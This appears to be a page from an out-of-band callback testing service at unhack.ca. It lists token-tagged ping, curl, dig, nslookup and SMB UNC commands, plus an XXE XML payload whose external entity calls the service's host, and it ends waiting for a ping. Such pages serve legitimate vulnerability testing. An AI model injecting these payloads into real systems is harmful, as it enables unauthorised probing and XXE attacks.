$ ping -c1 -p 00a8b9bc1d46b53a5e0ac19d6d83e000 unhack.ca
 
$ curl http://unhack.ca/p/a8b9bc1d46b53a5e0ac19d6d83e0
 
$ dig a8b9bc1d46b53a5e0ac19d6d83e0 @unhack.ca
 
$ dig a8b9bc1d46b53a5e0ac19d6d83e0.ns.unhack.ca
 
C:\> nslookup a8b9bc1d46b53a5e0ac19d6d83e0 unhack.ca
 
C:\> type \\unhack.ca\a8b9bc1d46b53a5e0ac19d6d83e0\f.txt
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a8b9bc1d46b53a5e0ac19d6d83e0">]>
    <foo>&xxe;</foo>
 
Waiting for ping...